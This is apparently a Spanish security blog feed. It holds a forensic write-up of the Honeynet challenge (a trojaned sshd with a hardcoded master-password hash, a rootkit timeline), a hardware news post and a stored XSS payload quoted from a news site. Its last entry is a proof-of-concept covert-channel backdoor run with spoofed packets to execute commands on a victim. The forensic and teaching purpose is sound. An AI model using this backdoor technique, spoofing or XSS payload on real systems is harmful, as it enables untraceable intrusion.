Me llaman la atención dos cosas: por un lado la primera entrada ya que esa forma de cadena me recuerda mucho al hash de un MD5, y la segunda el “/usr/tmp/nap” y el trozo de código a continuación. Veamos primero que hay en “/reto/mnt/usr/tmp/nap”:

# cat /reto/mnt/usr/tmp/nap
+-[ User Login ]-------------------- --- --- - -
| username: root password: tw1Lightz0ne hostname: c871553-b.jffsn1.mo.home.com
+----------------------------------- ----- --- -- -- -

Lo que pensaba: el SSH aparte de supuestamente permitir al atacante autenticarse sin necesidad de tener usuario en el sistema, está registrando los usuarios y contraseñas que acceden al SSH. Apuntamos el usuario y la contraseña. Revisamos la contraseña del usuario root del entorno y vemos que se trata de un MD5 ($1$), con semilla “eJ2yI2DF” y hash “0cXQKjrEYcYHM/qJu2X6Z”. Vamos a usar el John the Ripper para comprobar si el usuario de root identificado en el fichero es el mismo que el del sistema:

# apt-get install john
# cd /reto/aux/
# echo "tw1Lightz0ne" > passwd
# unshadow /reto/mnt/etc/passwd /reto/mnt/etc/shadow >> patata
# john --wordlist=passwd patata

Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [32/32])
guesses: 0  time: 0:00:00:00 100%  c/s: 200  trying: tw1Lightz0ne

Curiosamente la contraseña guardada no pertenece al usuario root del sistema… Bueno dejemos esto apartado y recordemos el MD5 visto con anterioridad en el binario ssh1. Lo que vamos a ver es qué contraseña ha podido generar ese MD5. Se me ocurre una cosa bárbara y es que la contraseña guardada en el fichero sea la contraseña del atacante y el registro de contraseña no tenga una comprobación para evitar que la propia contraseña del atacante se registre… veamos a ver:

# echo "tw1Lightz0ne" | md5sum -
367d375770a5775c4a63d1862e2fceaf  -

No hay suerte. Algo se escapa… mmm claro, el salto de línea que añade el echo:

# echo -n "tw1Lightz0ne" | md5sum
d33e8f1a6397c6d2efd9a2aae748eb02

Bueno, pues al final el hash que hay en el servicio corresponde con el MD5 que está guardado en el fichero, y por tanto, el propio atacante ha dejado el registro de su acceso en el log de usuarios y contraseñas. Podemos apuntar el hostname “c871553-b.jffsn1.mo.home.com” como posible origen del atacante.

Para finalizar con el SSH vamos a comprobar si el servicio se inicia en caso de que el sistema se reinicie, para ello buscaremos en los scripts de arranque:

# grep ":initdefault" /reto/mnt/etc/inittab
id:3:initdefault:
# ls -l /reto/mnt/etc/rc.d/rc3.d/
...
lrwxrwxrwx 1 root root 11 Nov  5  2000 S99local -> ../rc.local

No vemos ningún enlace que identifique al SSH, pero si analizamos todos los enlaces del directorio anterior encontramos que al final el enlace dinámico “S99local”, el cual apunta al fichero “rc.local”, es el encargado de arrancarlo:

# grep -i ssh /reto/mnt/etc/rc.d/rc.local
/usr/local/sbin/sshd1

Una vez finalizado la manera que tiene el atacante de acceder al servidor, vamos a seguir analizando la línea de tiempo:

314    ..c. r/rrw-r--r-- 0 0 16195 /etc/pam.d/ftp
314    ..c. r/rrw-r--r-- 0 0 16195 /etc/pam.d/ftp-RPMDELETE (deleted-realloc)
8928   ..c. r/rrwxr-xr-x 1 1 17487 /bin/ftpcount
8928   ..c. r/rrwxr-xr-x 1 1 17488 /bin/ftpwho
8928   ..c. r/rrwxr-xr-x 1 1 17488 /bin/ftpwho-RPMDELETE (deleted-realloc)
484    ..c. r/rrw------- 0 0 26548 /etc/ftpaccess
456    ..c. r/rrw------- 0 0 26549 /etc/ftpconversions
39     ..c. r/rrw------- 0 0 26550 /etc/ftpgroups 1
04     ..c. r/rrw------- 0 0 26551 /etc/ftphosts
79     ..c. r/rrw------- 0 0 26552 /etc/ftpusers
180703 ..c. r/rrw-r--r-- 1010 100 109865 /man/.Ci/nfs-utils-0.1.9.1-1.i386.rpm (deleted)

Claramente se ha instalado un servidor FTP y un servidor NFS cuyo propósito es la transferencia sencilla de ficheros por parte del atacante. ¿Aunque, teniendo el SCP para que usar FTP? No pierdo mucho el tiempo en analizar estos servicios. Seguimos con la línea de tiempo:

Wed Nov 08 2000 14:54:25 547    .a.. r/rrw-r--r-- 0 0 26245 /etc/named.conf
                         33392  .a.. r/rrwxr-xr-x 0 0 30251 /bin/cp
                         525412 .a.. r/rrwxr-xr-x 0 0 33119 /local/sbin/named
                         5      mac. r/rrw-r--r-- 0 0 34293 /run/named.pid
                         2769   .a.. r/rrw-r--r-- 0 0 62498 /named/named.ca
                         422    .a.. r/rrw-r--r-- 0 0 62499 /named/named.local
                         525412 mac. r/rrwxr-xr-x 0 0 92809 /sbin/named

Esto es interesante: se ha instalado un servicio de DNS y se trata de algo crítico, puesto que un DNS puede usarse para una multitud de funciones. Si seguimos analizando la línea de tiempo veremos cómo el atacante una vez instalado los servicios indicados con anterioridad eliminó las fuentes de instalación:

Wed Nov 08 2000 14:56:08 18698240 ..c. r/rrw-r--r-- 1010 100 109791 /man/.Ci/
                                                    ssh-1.2.27.tar (deleted)
                         4096     m.c. d/drwxr-xr-x 1010 100 109798 /man/.Ci
                         1153     ..c. r/rrwxr-xr-x 1010 100 109801 /man/.Ci/
                                                    install-sshd1 (deleted)
                         1076     ..c. r/rrwxr-xr-x 1010 100 109802 /man/.Ci/
                                                    install-sshd (deleted)
                         80       ..c. r/rrwxr-xr-x 1010 100 109803 /man/.Ci/
                                                    install-named (deleted)
                         106      ..c. r/rrwxr-xr-x 1010 100 109864 /man/.Ci/
                                                    install-statd (deleted)
                         180703   ..c. r/rrw-r--r-- 1010 100 109865 /man/.Ci/
                                                    nfs-utils-0.1.9.1-1.i386.rpm (deleted)
                         195637   ..c. r/rrw-r--r-- 1010 100 109866 /man/.Ci/
                                                    wuftpd.rpm (deleted)
                         71       ..c. r/rrwxr-xr-x 1010 100 109867 /man/.Ci/
                                                    install-wu (deleted)

Podemos recuperar las herramientas que usó el atacante aprovechando que el sistema de ficheros es Ext2. Recordar que cuando eliminamos ficheros en Ext2, a diferencia de Ext3 y Ext4, los “punteros” (enlaces directos e indirectos) del inodo hacia los bloques donde se almacena los datos no se eliminan. Por tanto somos capaces de, sabiendo el inodo del fichero eliminado, recuperar su contenido, siempre y claro está que el contenido no haya sido sobreescrito por otro fichero. Por ejemplo, para el demonio de ssh:

# istat honeypot.hda5.dd 109791
inode: 109791
Not Allocated
Group: 7
Generation Id: 640190586
uid / gid: 1010 / 100
mode: rrw-r--r--
size: 18698240
num of links: 0
Inode Times:
Accessed: Wed Nov  8 15:52:59 2000
File Modified: Wed Aug  9 21:52:37 2000
Inode Modified: Wed Nov  8 15:56:08 2000
Deleted: Wed Nov  8 15:56:08 2000
Direct Blocks:
238256 238257 238258 238259 ...

Esos datos que se muestran al final del “Direct Blocks” es la diferencia con Ext3/4. En Ext3 o 4 no se mostrarían los números de bloques. Recuperemos el fichero y veamos si contiene las modificaciones en el SSHD vistas con anterioridad:

# icat honeypot.hda5.dd 109791 >> /reto/evidencia/ssh-1.2.27.tar
# ls -l /reto/evidencia/ssh-1.2.27.tar
-rw-r--r-- 1 root root 18698240 Feb 18 00:16 /reto/evidencia/ssh-1.2.27.tar
# file /reto/evidencia/ssh-1.2.27.tar
/reto/evidencia/ssh-1.2.27.tar: POSIX tar archive (GNU)
# tar xvf /reto/evidencia/ssh-1.2.27.tar
# grep -R "\[ User Login \]" *
ssh-1.2.27/sshd.c: fprintf(fp,"+-[ User Login ]-------------------- --- --- - -\n");
# grep -R "d33e8f1a6397c6d2efd9a2aae748eb02" *
config.h:#define USE_GLOBAL_PASS "d33e8f1a6397c6d2efd9a2aae748eb02"

Ya tenemos un ssh troyanizado para la colección. Volvamos con la línea de tiempo. Las siguientes entradas que me llaman la atención son las que se encargan de modificar binarios del sistema, lógicamente se trata de los binarios modificados para implantar el Rootkit:

Wed Nov 08 2000 14:56:57     4096 .a.. d/drwxr-xr-x 1010 100 109798 /man/.Ci
Wed Nov 08 2000 14:56:59    35168 ..c. r/rrwx------ 0    0   15639  /bin/chage
                            36756 ..c. r/rrwx------ 0    0   15641  /bin/gpasswd
                            33288 ..c. r/rrwx------ 0    0   15827  /bin/at
                           531516 ..c. r/rrwx------ 0    0   16523  /bin/sperl5.00503
                           531516 ..c. r/rrwx------ 0    0   16523  /bin/suidperl
                             5640 ..c. r/rrwx------ 0    0   17453  /bin/newgrp
                             5760 .a.. r/rrwxr-xr-x 0    0   30288  /bin/sleep
                            17968 ..c. r/rrwx------ 0    0   30293  /bin/ping
                            45388 ..c. r/rrwx------ 0    5   48410  /sbin/dump
                            67788 ..c. r/rrwx------ 0    5   48412  /sbin/restore
                            34751 ..c. r/rrwx------ 0    0   76969  /libexec/pt_chown
                             5896 ..c. r/rrwx------ 0    0   93297  /sbin/usernetctl
                            16488 ..c. r/rrwx------ 0    1   93846  /sbin/traceroute

Ya para finalizar vemos algo raro y que no esperaba: el “bash_history” y el home de Drosen se han creado durante los 15 minutos en los que se implantó el Rootkit:

Wed Nov 08 2000 14:59:07 4096 m.c. d/drwx------ 500 500 15395 /drosen
                         52   mac. r/rrw------- 500 500 15401 /drosen/.bash_history

Esto requiere contradecir lo expuesto con anterioridad: es muy posible que el usuario Drosen no sea tan legítimo como habíamos pensado en un principio. Vamos a proceder por ello a un análisis lógico del contenido del sistema de fichero para ver si podemos obtener más información de la intrusión:

# cat /reto/mnt/home/drosen/.bash_history
gunzip *
tar -xvf *
rm tpack*
cd " "
./install
exit

Nos hemos dejado algo en el análisis forense. El acceso a un directorio cuyo contenido es el espacio en blanco es una técnica bastante conocido de intentar ocultar información dentro de un directorio (junto con la “. ” o “.. “). Vemos que descomprime un fichero, elimina el fichero, accede al directorio en blanco, instala algo y por último cierra la sesión. No es un comportamiento muy normal:

# cat /reto/mnt/etc/passwd | grep drosen | awk -F':' {'print $3'}
500
# find /reto/mnt/home/drosen/ -type f -uid 500 2> /dev/null

(no sale nada interesante)

Veamos a ver si encontramos algo que coincida con tpack:

# find /reto/mnt/ -type f -iname "*tpack*"

(No hay suerte)

Llegado a este punto, podría decir que no sé qué fichero instaló el usuario. Seguramente si se analizara la línea de tiempo con más detenimiento podríamos obtener dicho fichero.

Como análisis superficial del incidente podemos tener una estimación de cuándo se hizo, cómo se hizo, qué se implantó en el servidor, cómo se conectaba el atacante al equipo y como intentó el atacante ocultar sus huellas. Para finalizar la entrada quiero indicar que aunque normalmente se emplea en cualquier análisis forense uno de mis packs de herramientas favoritas: foremost, sorter, md5depp y hfind, , debido a la antigüedad de este reto me ha sido imposible usarlo en este caso. El objetivo de estos programas es generar una lista blanca a partir de un entorno no comprometido con una configuración similar, lo que nos permitirá eliminar supuestos, adicionalmente combinarlo con una lista negra de malware, permitiendo reducir drásticamente los ficheros a tratar.

Espero que les haya gustado, y todo sea dicho, si se han leído toda la entrada se merecen un premio. Nos vemos en la próxima entrada.

El antiguo reto de la honeynet (I)

En esta y la siguiente entrada trataré el reto de análisis forense de la honeynet (proyecto Honeynet). Aunque antiguo, es la base de un análisis forense en un entorno Linux y creo que se pueden aprender muchas cosas. Existe una infinidad de soluciones tanto en blogs como en libros sobre la resolución del reto. En mi caso voy a seguir los pasos que seguí para la resolución de éste. Les advierto que tanto este como el siguiente artículo de la serie son algo largos, así que tómenselos con calma.

Preparando el entorno del reto

Comenzaremos montando una máquina virtual Linux. Primero instalaremos en el equipo anfitrión VirtualBox en su versión 4. A su vez nos descargaremos una imagen ISO de una distribución Linux. En mi caso he usado la Ubuntu 10.04. puesto que ya la tenia descargada. Una vez tengamos creada la máquina virtual instalaremos las LinuxAdditions.

[Read more…]

La avaricia rompe el socket

En esta entrada de hoy voy a contar una historia de hardware acontecida en este mes de Enero, que pese a que no está enfocada ciertamente a la seguridad, podría repercutir en la seguridad de nuestros sistemas. Antes de empezar introduciremos un término de hardware llamado socket o zócalo, que es la forma de conexión entre la CPU y la placa base (puerto norte). Los sockets se indican por una numeración que identifica el número de pines entre la CPU y la placa base, por lo que un socket 350 indica que el zócalo tiene 350 pines.

Ahora comencemos con nuestra historia. Érase una vez una empresa llamada Intel que sacó al mercado el socket 1366 en sus deslumbrantes i7 9XX. Aproximadamente un año después sacó otro socket, el 1156, para la gama baja i3 y i5, pero curiosamente y pese a lo que se había pensado primeramente, también daba soporte a los i7 8XX dejando el socket 1156 también para la gama media-alta. ¿Entonces, tan necesario era tener dos sockets distintos y por tanto incompatibles entre ellos?

No contento con ello, Intel presento a principios de Enero del 2011 un nuevo socket, el 1155, sí, tan sólo con 1 pin menos que su anterior socket y por tanto impidiendo la compatibilidad entre ambos. A dicha plataforma se le conoce como Sandy Bridge y su nuevo puente norte “Cougar Point”. Lógicamente y por usar un pin menos, los usuarios que quisieran los nuevos micros i5 y i7 de Intel en su nueva plataforma tendrían que cambiar la placa base y comprar una nueva con el chipset “Cougar Point”.

De este modo, Intel se aseguraba tanto la venta del micro como la de la placa base, ya fuera de forma directa con su marca comercial, o mediante ensambladores tipo Asus, GigaByte, MSI, etc. ¿Bueno, y qué? Es normal. es su negocio. Pues sí, pero el problema viene cuando una vez sacado al mercado el producto, se detecta un fallo en el SATA 2 del puente norte que origina degradación, pérdidas de información y posible daño a los dispositivos que estén conectados a él. Esto ocurre en todos los “Cougar Point”: Q67, B65, H67, P67, QS67, QM67, HM67, HM65 o UM67.

Debido a este fallo Intel ha tenido que paralizar la producción de sus chips, retirarlos del mercado y anunciando que el nuevo chipset con la corrección del fallo saldrá al mercado en Abril, es decir dentro de tres meses. Esto implica que Intel pierde las ventas de sus placas durante tres meses, únicamente vendiendo el producto antiguo (1366 y 1156), y al haber cambiado de socket por un pin, de 1156 a 1155, sus nuevos micros no tienen placas donde ser montados. Este es el problema de Intel, pero, ¿qué ocurre con el stock de los mayoristas y pequeñas empresas que hayan comprado este micro si el cliente final no tiene placa donde montarlos?

Por otro lado, las reclamaciones de los clientes a los ensambladores no cesan, obligando a éstos a ofrecer formularios para la devolución de las placas base:

Asus: http://event.asus.com/2011/SandyBridge/notice/
GigaByte: http://www.anandtech.com/show/4146/gigabyte-announces-6series-motherboard-replacement-program

¿Pero a cargo de quién corre el coste de la devolución? ¿Quien mandará la placa a la tienda, y al mayorista, y al ensamblador, y a Intel? ¿Que ocurrirá con esas placas? ¿Se volverán a ensamblar? ¿Que hará el cliente con su nuevo ordenador al cual le falta una placa base?

Dejando al margen el daño de la imagen a Intel, el coste económico le costara unos 300 millones de dolares. Pueden encontrar muchos más detalles técnicos en este post de Noticias3d.

Ese gran invento llamado Pendrive

Recientemente me llego a mis manos un pendrive, cuyo dueño no usaba desde verano, para que le copiara un par de archivos de mi equipo personal de casa a su pendrive. Al conectarlo me llamaron la atención un par de cosas del pendrive, por lo que decidí echarle un vistazo a ver que me encontraba.

Primero me hice una copia en raw de nombre imagen:

# dc3dd if=/dev/sdb1 of=imagen bs=512 conv=noerror,sync hash=sha256 hashlog=ressha

Luego me puse a analizar que ficheros se habían eliminado del pendrive (símbolo *) y… ¡voilà! Un fichero “_autorun.inf” y “_gt.exe” no paraba de eliminarse, y si consultábamos el inodo, no paraba de ejecutarse:

[Read more…]

XSS, one more time

Hoy toca contar una historia, que por desgracia cada vez es más frecuente. Estaba yo el día uno de noviembre en mi casa, sentado en mi mesa de estudio peleándome con las particiones FAT32 con sus “directory root” y los “longs entry” (a quién se le ocurre empezar por el final), cuando a las cinco de la tarde decidí darme una vuelta por la web, y en concreto por las de noticias, a ver que había ocurrido.

Dentro de las noticias que vi me encontré con una muy interesante que indicaba que había habido un socavón en un estado de Alemania (me pareció curiosa), pero al pinchar sobre esa noticia el no-script me grito, algo bastante raro ya que lo tengo bastante bien configurado. Cuando mire a ver que ocurría me encontré con esto:

Primera

Antes de continuar se habrán dado cuenta que tanto he eliminado cualquier referencia de la página web donde ocurrió, como he eliminado el supuesto atacante que lo produzco, por razones muy distintas, un fallo lo puede cometer cualquiera, y el que esté libre de culpa que tire la primera piedra. Por otro lado, me he negado a hacer publicidad de los supuestos atacantes, que no son más que un par de irresponsables, por no emplear calificativos de otro tipo.

Bueno, ya podemos seguir. Al ver el mensaje “alert” lo vi claro, sabía donde estaba el fallo puesto que siempre que visitaba la web veía esa zona y pensaba: “esto es vulnerable sí o sí”. No hubo duda, fui directo a la zonas de comentario en busca del alert, y claramente “one more time” esto era un XSS:

<span class="fechaHora">01.11.2010 - 16.55 h - </span>Dice ser <strong><a 
href="mailto:XXX%3C"><script>alert("Hacked By: XXXXXXXX")</script>@gmail.com"
>XXXX</a></strong> - <span class="ordinal">#1</span>

Por tanto la zona vulnerable era la parte donde se mostraba el nombre del usuario registrado que había publicado el comentario. Lo peligroso de esto, es que, como todo comentario, este es permanente y por tanto el XSS se ejecutaba cada vez que un usuario visitaba la noticia. Como se podrán imaginar el atacante fue aumentado la calidad del ataque, dejando inservible la noticia.

Como ven, esto es lo que tendría que haber en un usuario registrado:

<span class="fechaHora">01.11.2010 - 14.28 h -</span><strong><a href="direccion 
web" onclick="window.open(this.href); return false; ">Nombre usuario</a></strong> - 
<span class="ordinal">#1</span>

A raíz de esto me surgieron varias dudas que quiero compartir con ustedes.

Si como técnico de seguridad detecto que una web es posiblemente vulnerable, ¿debo informar a la web? ¿Si informo me podrían acusar de asaltante? ¿Me harían caso? Antes de contestar piensen: ¿en que web hay un enlace para poder notificar posibles fallos de seguridad detectados?

Otra duda que me surgió fue, ¿porqué si cada vez más se están realizando ataques de tipo XSS que permiten, entre otras, modificar la imagen de la web, robar sesiones de los usuarios y redireccionar a servidores con malware, cuando se informa de una vulnerabilidad XSS en una auditoría no se le da el valor que corresponde?

¿Pero saben cuál fue la mayor pregunta que me hice después? Que ocurrió en Alemania con el socavón, que era lo que realmente me interesaba.

Covert Channels

El encubrimiento de canales o Covert Channels es una técnica de evasión que permite a un atacante enviar información empleando para ello las cabeceras de los protocolos de comunicación. En esta entrada trataremos el encubrimiento de canales en el protocolo TCP/IP, y proporcionaremos una herramienta, CovertShell, diseñada para la prueba de concepto. Pueden localizar los fuentes al final de la entrada.

El protocolo TCP/IP presenta una serie de cabeceras que normalmente son inicializadas por el cliente para mantener o numerar una comunicación. La técnica covert channels aprovecha dichos campos para asignarle valores de tal forma que la máquina destino interprete dichos campos no como una forma de mantener una comunicación o aportar información sobre ésta, sino para obtener datos.

Un ejemplo interesante fue desarrollado por Craig H. Rowland en su paper de 1996: Covert Channels in the TCP/IP protocol Suite, donde éste creaba una pequeña herramienta cliente/servidor “CovertTCP” de no mas de 500 líneas que permitía la transferencia de ficheros entre cliente/servidor empleando para ello únicamente los campos SEQ, ACK del protocolo TCP y el campo ID del protocolo IP. De esta forma la información iba en las cabeceras de los protocolos y no en el contenido del paquete o payload.

A raíz de esta idea, siempre se ha pensado en la posibilidad de ir más allá y usar esta técnica para el envío de ordenes de comando. Algo que podría ser usado tanto para puertas traseras (backdoors) como para redes botnet. Imagínense que tenemos un servidor que ha sido comprometido al cual se le ha instalado un servicio que espera paquetes en un cierto puerto con cierto valores en su cabecera. Cuando le llega un paquete que cumple esos requisitos, procesa los valores de las cabeceras convirtiendo dichos valores en ordenes de comando, que son posteriormente ejecutadas.

Siguiendo este modelo hemos creado una pequeña herramienta para la prueba de concepto a raíz del código fuente del CovertTCP, denominada CovertShell, donde disponemos de un servicio que emplea un socket RAW de tal forma que al recibir en el puerto indicado paquetes con el bit ACK y sin el bit SYN, obtiene el identificador de la cabecera IP, el cual es el número identificativo correspondiente a una letra en código ASCII. Dicha letra es almacenada en un vector. Cuando llegan 3 paquetes cuyo ID es 255, el servidor ejecuta la orden de comando que hay almacenada en el vector. Por tanto disponemos de un servidor que no abre ningún puerto, que realmente escucha el tráfico y que es capaz de interpretar la cabecera IP para generar comandos. Dicho de otra forma, tenemos una puerta trasera empleando covert channels para comunicarse. ¿Lioso? Veamos un ejemplo de funcionamiento:

Compilamos y ejecutamos el servicio que espere paquetes en el puerto 8888 en la máquina víctima (servidor):

# gcc servidor.c -o servidor 
# ./servidor -port 8888

En otra consola comprobamos que el proceso está levantado y que no hay ningún servicio escuchando en el puerto 8888:

# ps aux | grep servidor | grep -v grep 
root      2465  0.0  0.0   3908   312 pts/0    S+   09:53   0:00 ./servidor -port 8888 
# netstat -putan | grep 8888 
# lsof -Pi | grep 8888

A continuación vamos a emplear un pequeño script en bash, agradecer la ayuda a Raúl Rodriguez (no te escondas), que requiere tener instalado el binario Nemesis (permite manipular paquetes de forma sencilla). A dicho script le pasamos una orden entre comillas, de tal forma que generará un paquete por cada letra, donde el valor ID del campo IP, será el valor ASCII de la letra indicada.

Dentro del script tenemos la variable IP_DST y DPORT donde hay que indicar la IP y puerto de nuestro servidor víctima. También tenemos las variables IP_ORIGEN y SPORT donde se indica la IP y Puerto origen (puede ser cualquiera). Para el POC vamos a indicar a Nemesis que la dirección IP de origen es la de un servidor de Google y el puerto origen es el 80. De esta forma al servidor víctima le llegarán paquetes con el flag ACK con IP origen de Google y el puerto 80.

De este modo, si leemos la traza de red veremos únicamente que están llegando paquetes ACK de google, algo de lo más normal, cuando realmente lo que nos está llegando son comandos de una backdoor.

Para esta demo vamos a crear el usuario “ximo” (que me han dicho que es muy peligroso) en la máquina víctima:

Cliente:

# ./cliente.sh "useradd ximo" 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
# 

Servidor:

# ./servidor -port 8888 
Dato recibido: 117 
Dato recibido: 115 
Dato recibido: 101 
Dato recibido: 114 
Dato recibido: 97 
Dato recibido: 100 
Dato recibido: 100 
Dato recibido: 32 
Dato recibido: 120 
Dato recibido: 105 
Dato recibido: 109 
Dato recibido: 111 
Comando: useradd ximo

¿Habrá funcionado?

# tail -1 /etc/passwd 
ximo:x:1002:1002::/home/ximo:/bin/sh 
# 

Ahora vamos a ver la traza de red desde el servidor (IP 172.17.X.X) cuando se ha enviado el comando “useradd ximo”. En este caso recordar que hemos usado la IP de Google, por lo que la IP origen usada es “66.249.92.104” obtenida de un simple ping:

$ ping -c1 google.es
PING google.es (66.249.92.104) 56(84) bytes of data.

Veamos la traza:

# tcpdump -nn -vvv -i eth0 port 8888 
10:00:55.265912 IP (tos 0x0, ttl 254, id 117, offset 0, flags [none], proto TCP (6), 
    length 40) 
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x2912 (correct), 
    seq 283280788, ack 1457724121, win 4096, length 0 
10:00:55.265964 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 
    172.17.X.X.8888 > 66.249.92.104.80: Flags [R], cksum 0xcf94 (correct), seq 
    1457724121, win 0, length 0 
10:00:55.270636 IP (tos 0x0, ttl 254, id 115, offset 0, flags [none], proto TCP (6), 
    length 40) 
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x2909 (correct), seq 
    1069023501, ack 78166684, win 4096, length 0 
10:00:55.270669 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 
    172.17.X.X.8888 > 66.249.92.104.80: Flags [R], cksum 0x1051 (correct), seq 
    1535890804, win 0, length 0 
10:00:55.280132 IP (tos 0x0, ttl 254, id 101, offset 0, flags [none], proto TCP (6), 
    length 40) 
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x827f (correct), seq 
    1249543965, ack 4145208809, win 4096, length 0 
10:00:55.280157 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 
    172.17.X.X.8888 > 66.249.92.104.80: Flags [R], cksum 0xfa99 (correct), seq 
    1307965633, win 0, length 0 
10:00:55.284502 IP (tos 0x0, ttl 254, id 114, offset 0, flags [none], proto TCP (6), 
    length 40) 
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x5a89 (correct), seq 
    4108084880, ack 626806209, win 4096, length 0

Al servidor nos han llegado una serie de paquetes TCP con flag ACK ([.]) desde la IP de Google (66.249.92.104), con puerto origen 80 sin payload, al cual hemos respondido con un paquete RST. Si nos fijamos en los paquetes de envío veremos el campo “id número”, que identifica el valor del campo id del protocolo IP, el cual tiene valores como 117, 115, 101, 104, … que corresponden con los valores ASCII de u, s, e, r, …

Como podréis suponer, la posibilidad de rastrear ese comando es realmente compleja puesto que en ningún momento nos llega la IP del atacante ya que se falsifica la IP origen.

Pero vayamos más allá: ¿qué ocurriría si en vez de jugar con la cabecera ID del protocolo IP, usáramos el valor de secuencia (SEQ) del paquete TCP, de tal forma que enviáramos un paquete TCP con flag SYN (inicio de conexión) a un servidor público cuya IP y puerto origen sea la de la víctima? Pues que el servidor público contestaría a la víctima con un paquete SYN ACK al puerto indicado como puerto origen, cuyo valor ACK corresponderá al valor de sesión enviado por el atacante + 1. Por tanto se podría usar servidores públicos legítimos para que mandaran en la cabecera TCP la orden a ejecutar, siendo todavía más difícil rastrear quien ejecutó la orden. Veamos una imagen que aclara esta idea:

TCP

Esto último, así como posteriores pruebas, quedan como ejercicio para el lector. Los desarrollos realizados para la prueba de concepto, que hemos denominado CovertShell, están a disposición del público. Esperamos que les sea de ayuda, sin olvidar por supuesto que se ponen a disposición del público para fines educativos y de investigación.